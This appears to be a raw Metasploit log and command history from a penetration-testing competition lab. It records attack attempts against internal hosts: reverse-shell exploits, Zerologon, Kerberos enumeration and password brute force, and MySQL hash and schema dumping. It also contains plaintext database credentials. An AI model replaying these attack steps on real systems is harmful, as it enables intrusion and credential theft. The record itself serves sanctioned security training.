@thread_id=452001, @client_flags=10398349, @field_count=0, @fields=[#<Mysql::Field:Database>], @server_status=16386, @no_more_records=true, @message="", @affected_rows=0>, @sqlstate="42000", @host_info="10.0.1.15 via TCP/IP", @last_error=#<Mysql::ServerError::ParseError: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd' at line 1>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}>, @stop_flag=false, @disable_output=false, @stop_count=0, @name=:mysql, @cont_prompt=" > ", @cont_flag=false, @prompt="%undMySQL @ 10.0.1.15:3306 ()%clr", @prompt_char=">", @histfile="/home/pentester/.msf4/histories/mysql_session_history", @hist_last_saved=17, @local_hostname="cptc11-regional-newengland-t2-vdi-kali05", @local_username="pentester", @framework=#<Framework (3 sessions, 0 jobs, 0 plugins)>, @dispatcher_stack=[#<Msf::Ui::Console::CommandDispatcher::LocalFileSystem:0x00007f8d0a3b6a98 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[]>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 ...>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core:0x00007f8d0a878310 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[]>], @on_command_proc=#<Proc:0x00007f8d0a34b450 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:221>, @commands=[], @input=#<Rex::Ui::Text::Input::Readline:0x00007f8d099d1de8 @rl_saved_proc=#<Proc:0x00007f8d099d1cd0 /usr/share/metasploit-framework/lib/rex/ui/text/input/readline.rb:194>, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @prompt="\u0001\e[4m\u0002mysql @ 10.0.1.15:3306 (information_schema)\u0001\e[0m\u0002 > ">, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @on_print_proc=#<Proc:0x00007f8d0a34b3d8 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:222>, @log_source="session_4", @busy=true>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[], @db_search_results=[]> - Mysql::ServerError::ParseError You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd' at line 1


_raw: [11/01/2025 14:24:07] [e(0)] core: Running query 'USE d' failed on session #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 @session=#<Session:mysql 10.0.1.15:3306 (10.0.1.15) "MySQL boatgps @ 10.0.1.15:3306">, @client=#<Rex::Proto::MySQL::Client:0x00007f8d0a8565a8 @fields=nil, @result=nil, @protocol=#<Mysql::Protocol:0x00007f8d095e6b98 @mutex=#<Thread::Mutex:0x00007f8d0a2aaca8>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}, @charset=#<Mysql::Charset:0x00007f8d096e8eb0 @number=8, @name="latin1", @csname="latin1_swedish_ci">, @insert_id=0, @warning_count=0, @session_track={1=>["information_schema"]}, @gc_stmt_queue=[], @state=:READY, @get_server_public_key=false, @socket=#<OpenSSL::SSL::SSLSocket:0x00007f8d0a2a9880 @context=#<OpenSSL::SSL::SSLContext:0x00007f8d0a2a98f8 @verify_mode=0, @verify_hostname=false, @max_proto_version=nil, @min_proto_version=769, @cert_store=#<OpenSSL::X509::Store:0x00007f8d1941df90 @verify_callback=nil, @error=nil, @error_string=nil, @chain=nil, @time=nil>>, @io=#<Socket:fd 10>, @eof=false, @rbuffer="", @sync=true, @sync_close=true, @wbuffer="">, @seq=2, @sqlstate="42000", @server_info="5.7.44", @server_version=50744, @server_capabilities=3254779903, @thread_id=452001, @client_flags=10398349, @field_count=0, @fields=[#<Mysql::Field:Database>], @server_status=16386, @no_more_records=true, @message="", @affected_rows=0>, @sqlstate="42000", @host_info="10.0.1.15 via TCP/IP", @last_error=#<Mysql::ServerError::DbaccessDeniedError: Access denied for user 'boatgps'@'%' to database 'd'>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}>, @stop_flag=false, @disable_output=false, @stop_count=0, @name=:mysql, @cont_prompt=" > ", @cont_flag=false, @prompt="%undMySQL @ 10.0.1.15:3306 ()%clr", @prompt_char=">", @histfile="/home/pentester/.msf4/histories/mysql_session_history", @hist_last_saved=17, @local_hostname="cptc11-regional-newengland-t2-vdi-kali05", @local_username="pentester", @framework=#<Framework (3 sessions, 0 jobs, 0 plugins)>, @dispatcher_stack=[#<Msf::Ui::Console::CommandDispatcher::LocalFileSystem:0x00007f8d0a3b6a98 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[]>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 ...>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core:0x00007f8d0a878310 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[]>], @on_command_proc=#<Proc:0x00007f8d0a34b450 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:221>, @commands=[], @input=#<Rex::Ui::Text::Input::Readline:0x00007f8d09a9c980 @rl_saved_proc=#<Proc:0x00007f8d09a9c868 /usr/share/metasploit-framework/lib/rex/ui/text/input/readline.rb:194>, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @prompt="\u0001\e[4m\u0002mysql @ 10.0.1.15:3306 (information_schema)\u0001\e[0m\u0002 > ">, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @on_print_proc=#<Proc:0x00007f8d0a34b3d8 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:222>, @log_source="session_4", @busy=true>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[], @db_search_results=[]> - Mysql::ServerError::DbaccessDeniedError Access denied for user 'boatgps'@'%' to database 'd'


_raw: [11/01/2025 14:23:55] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:23:45] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:23:28] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:55552).


_raw: [11/01/2025 14:23:28] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:23:28] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.20:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.20:55552).


_raw: [11/01/2025 14:23:28] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.6:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.6:55552).


_raw: [11/01/2025 14:23:24] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:23:17] [e(0)] core: Exploit failed (multi/http/php_fpm_rce): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.15:80). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.15:80).


_raw: [11/01/2025 14:23:17] [i(0)] core: php/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder php/base64 (size is 1509)


_raw: [11/01/2025 14:23:02] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.6:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.6:55552).


_raw: [11/01/2025 14:23:02] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:22:49] [e(0)] core: Running query 'user' failed on session #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 @session=#<Session:mysql 10.0.1.15:3306 (10.0.1.15) "MySQL boatgps @ 10.0.1.15:3306">, @client=#<Rex::Proto::MySQL::Client:0x00007f8d0a8565a8 @fields=nil, @result=nil, @protocol=#<Mysql::Protocol:0x00007f8d095e6b98 @mutex=#<Thread::Mutex:0x00007f8d0a2aaca8>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}, @charset=#<Mysql::Charset:0x00007f8d096e8eb0 @number=8, @name="latin1", @csname="latin1_swedish_ci">, @insert_id=0, @warning_count=0, @session_track={}, @gc_stmt_queue=[], @state=:READY, @get_server_public_key=false, @socket=#<OpenSSL::SSL::SSLSocket:0x00007f8d0a2a9880 @context=#<OpenSSL::SSL::SSLContext:0x00007f8d0a2a98f8 @verify_mode=0, @verify_hostname=false, @max_proto_version=nil, @min_proto_version=769, @cert_store=#<OpenSSL::X509::Store:0x00007f8d1941df90 @verify_callback=nil, @error=nil, @error_string=nil, @chain=nil, @time=nil>>, @io=#<Socket:fd 10>, @eof=false, @rbuffer="", @sync=true, @sync_close=true, @wbuffer="">, @seq=2, @sqlstate="42000", @server_info="5.7.44", @server_version=50744, @server_capabilities=3254779903, @thread_id=452001, @client_flags=10398349, @field_count=2, @fields=[#<Mysql::Field:Variable_name>, #<Mysql::Field:Value>], @server_status=34, @no_more_records=true>, @sqlstate="42000", @host_info="10.0.1.15 via TCP/IP", @last_error=#<Mysql::ServerError::ParseError: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'user' at line 1>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}>, @stop_flag=false, @disable_output=false, @stop_count=0, @name=:mysql, @cont_prompt=" > ", @cont_flag=false, @prompt="%undMySQL @ 10.0.1.15:3306 ()%clr", @prompt_char=">", @histfile="/home/pentester/.msf4/histories/mysql_session_history", @hist_last_saved=17, @local_hostname="cptc11-regional-newengland-t2-vdi-kali05", @local_username="pentester", @framework=#<Framework (3 sessions, 0 jobs, 0 plugins)>, @dispatcher_stack=[#<Msf::Ui::Console::CommandDispatcher::LocalFileSystem:0x00007f8d0a3b6a98 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[]>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 ...>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core:0x00007f8d0a878310 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[]>], @on_command_proc=#<Proc:0x00007f8d0a34b450 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:221>, @commands=[], @input=#<Rex::Ui::Text::Input::Readline:0x00007f8d09fbbd30 @rl_saved_proc=#<Proc:0x00007f8d09fbbbf0 /usr/share/metasploit-framework/lib/rex/ui/text/input/readline.rb:194>, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @prompt="\u0001\e[4m\u0002mysql @ 10.0.1.15:3306\u0001\e[0m\u0002 > ">, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @on_print_proc=#<Proc:0x00007f8d0a34b3d8 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:222>, @log_source="session_4", @busy=true>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[], @db_search_results=[]> - Mysql::ServerError::ParseError You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'user' at line 1


_raw: [11/01/2025 14:22:38] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw:
exit
search php
search php 5.6.40
search php 5
search php 5.6
search php 5.6.4
search php 5.6.40
search php 5.6
select 7
use 7
show options
set RHOSTS 10.0.1.15
show options
run
back
search php 5.6
use 23
show options
set RHOSTS 10.0.1.15
run
ifconfig
set LHOST 10.0.254.205
run
back
search php 5.6
exit
search mysql
search mysql 8
search mysql 8.
search mysql8
search mysql
exit
search ms-wbt-server
search msrpc
search netbios-ssn
search netbios
search ms-wbt
search microsoft terminal
search rpc
search msrpc
search Windows RPC
search microsoft-ds
search microsoft-ds
search
search microsoft-ds
search ssl/http
search netbios
search rpc
use 207
show options
set RHOSTS 10.0.1.20
run
back
use 207
set PASSWORD password
run
back
search rpc
use 14
show options
set RHOSTS 10.0.1.20
run
set RPORT 49664
run
set RPORT 49665
run
set RPORT 49666
run
exit\
search apache 2.4
search apache
exit
search mysql 5.7
search mysql 5
use 22
show options
set USERNAME boatgps
run
set RHOSTS 10.0.1.15
run
set PASSWORD anchor2024
run
set CreateSession true
run
back
use 22
run
sessions
sessions -i 1
back
use auxiliary/scanner/mysql/mysql_schemadump
run
show OPTIONS
show options
set SESSION 1
run
show options
set RHOSTS 10.0.1.15
set USERNAME boatgps
set PASSWORD anchor2024
run
back
use auxiliary/scanner/mysql/mysql_schemadump
show options
set SESSION
set SESSION 0
run
back
run
sessions -i 1
use 22
sessions -i
run
help
run
sessions -i
back
use auxiliary/scanner/mysql/mysql_schemadump
set SESSION 4
run
use  auxiliary/scanner/mysql/mysql_writable_dirs
show options
set SESSION 4
run
use auxiliary/scanner/mysql/mysql_hashdump
set SESSION 4
run
show options
set USERNAME boatgps
set PASSWORD anchor2024
run
use auxiliary/admin/mysql/mysql_sql
set SESSION 4
run
use auxiliary/scanner/mysql/mysql_hashdump
run
back
search auxiliary/admin/mysql/mysql_enum
search auxiliary/admin/mysql/mysql_sql
use 0
set SESSION 4
RUN
run
run 'user'
run
show options
set RHOST 10.0.1.15
show options
set USERNAME boatgps
set PASSWORD anchor2024
run
back
auxiliary/admin/mysql/mysql_enum
y
set SESSION 4
run
back
use 22
sessions -i
sessions -i 4


_raw: [11/01/2025 14:22:28] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:21:58] [e(0)] core: Exploit failed (linux/http/nginx_chunked_size): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.15:80). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.15:80).


_raw: [11/01/2025 14:21:58] [i(0)] core: cmd/unix/php/meterpreter/reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:21:45] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:21:00] [e(0)] core: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT => nca_s_fault_access_denied


_raw: [11/01/2025 14:20:59] [e(0)] core: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT => nca_s_fault_access_denied


_raw: [11/01/2025 14:20:19] [e(0)] core: Module auxiliary/http/http_put not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/01/2025 14:19:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:19:35] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 14:19:22] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:19:19] [e(0)] core: Module Ingress-NGINX not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw:
load kiwi
search netbios-ssn
search "netbios-ssn"
search netbios
use 2
show options
set RHOSTS 10.0.1.21
run
exit


_raw: [11/01/2025 14:18:57] [e(0)] core: Module linux_x86/remote/26737.pl not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/01/2025 14:18:48] [e(0)] core: Module Nginx not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/01/2025 14:18:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:16:25] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search rdp
use 42
set RHOST 10.0.1.6
run
use 6
run
set RHOSTS 10.0.1.6
run
exit


_raw: [11/01/2025 14:12:53] [e(0)] core: Error loading plugin /usr/share/metasploit-framework/plugins/kiwi - LoadError cannot load such file -- /usr/share/metasploit-framework/plugins/kiwi


_raw: [11/01/2025 14:12:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:11:53] [e(0)] core: NameError uninitialized constant Net::NTLM


_raw: [11/01/2025 14:11:43] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 14:10:46] [e(0)] core: Auxiliary failed - NameError uninitialized constant Net::NTLM


_raw:
[11/01/2025 14:10:46] [e(0)] core: Thread Exception: ScannerHost(scanner/rdp/rdp_scanner)-10.0.1.6  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - NameError uninitialized constant Net::NTLM


_raw: [11/01/2025 14:09:29] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:09:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:09:10] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
search jetty
use 2
show options
set rhosts 10.0.1.15
run
set rport 8090
run
exit


_raw: [11/01/2025 14:06:53] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql 5.7
search mysql 5
use 22
show options
set USERNAME boatgps
run
set RHOSTS 10.0.1.15
run
set PASSWORD anchor2024
run
set CreateSession true
run
back
use 22
run
sessions
sessions -i 1


_raw: [11/01/2025 13:58:18] [e(0)] core: Failed to open history file: /home/pentester/.msf4/histories/mysql_session_history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/histories/mysql_session_history


_raw: [11/01/2025 13:58:12] [e(0)] core: Exploit failed (multi/handler): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999).


_raw: [11/01/2025 13:56:52] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 13:56:52] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search OpenSSH 8.9p1
search OpenSSH
search OpenSSH 8.9
search OpenSSH 8.9p1
search OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
search OpenSSH 8.9
exit


_raw: [11/01/2025 13:56:04] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 13:55:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search winrm
use 2
set RHOST 10.0.1.6
run
use 4
run
set RHOST 10.0.1.6
run
search kerberos
use 9
run
set RHOST 10.0.1.6
run
set RHOST 10.0.1.6:5985
run
use 10
run
set RHOST 10.0.1.6
ru~n
run
set DOMAIN allports.local
run
set DOMAIN APT
run
set PORT 5985
set RPORT 5985
run
set DOMAIN allports.local
run
set RHOST 10.0.1.7
run
use 9
set RPORT 5985
set RHOST 10.0.1.6
run
use 0
set RHOST 10.0.1.6
set RPORT 5985
run
set LDAPDomain allports.local
set LDAPUsername root
run
set TARGET_USERNAME root
run
set CA
run
exit


_raw: [11/01/2025 13:52:11] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 13:51:41] [e(0)] core: Exploit failed (multi/handler): Interrupt  - Interrupt


_raw:
use auxiliary/gather/kerberos_enumusers
set RHOSTS 10.0.1.6
set RPORT 88
set USER_FILE /usr/share/wordlists/john.lst
set DOMAIN apt
run
run | less
run >
run > less
auxiliary/scanner/kerberos/kerberos_login
Y
show OPTIONS
show -h
ser USERNAME greed
set USERNAME greed
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
set RHOSTS 10.0.1.6
run
set DOMAIN apt
run
set USERNAME admin
show options
set BRUTEFORCE_SPEED 0
run
search active_directory
exit
search active_directory
search kerberos
use auxiliary/gather/windows_secrets_dump
show options
set KRB_TYPES USERS_ONLY
set RHOSTS 10.0.1.6
set SMBUser greed
run
auxiliary/scanner/kerberos/kerberos_login
y
show options
use auxiliary/gather/kerberos_enumusers
show options
set DOMAIN apt
set RHOSTS 10.0.1.6
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
run
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
run
spool /session.log
run
exit
use auxiliary/gather/kerberos_enumusers
show options
set DOMAIN apt
set RHOSTS 10.0.1.6
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
spool /session.log
spool session.log
run
exit
spool off
auxiliary/scanner/kerberos/kerberos_login
y
show options
exit
search zero
search zerologon
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
show options
set RHOSTS 10.0.1.6
set NBNAME APT-DC-01
run
exit


_raw: [11/01/2025 13:51:17] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/http/http_version
set RHOSTS 10.0.1.11
run
show options
run
quit


_raw: [11/01/2025 13:50:39] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 13:50:37] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 13:50:33] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
[11/01/2025 13:50:32] [d(0)] meterpreter: Call stack:
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb:49:in `stat'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb:36:in `initialize'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:211:in `new'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:211:in `stat'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:538:in `block in cmd_download'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:501:in `each'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:501:in `cmd_download'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:102:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:64:in `block in interact'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:160:in `block in run'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:62:in `interact'
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:580:in `_interact'
/usr/share/metasploit-framework/lib/rex/ui/interactive.rb:53:in `interact'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1757:in `cmd_sessions'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:23:in `<main>'


_raw: [11/01/2025 13:50:32] [e(0)] meterpreter: stdapi_fs_stat: Operation failed: 1


_raw:
search php admin
search php db admin
nmap 10.0.1.15
exit


_raw: [11/01/2025 13:50:20] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 13:49:17] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 13:49:05] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search ssh
run 145
use  exploit/linux/ssh/vmware_vdp_known_privkey
show options
set RHOSTS 10.0.1.10
show options
show payload
check
run
show options
exit


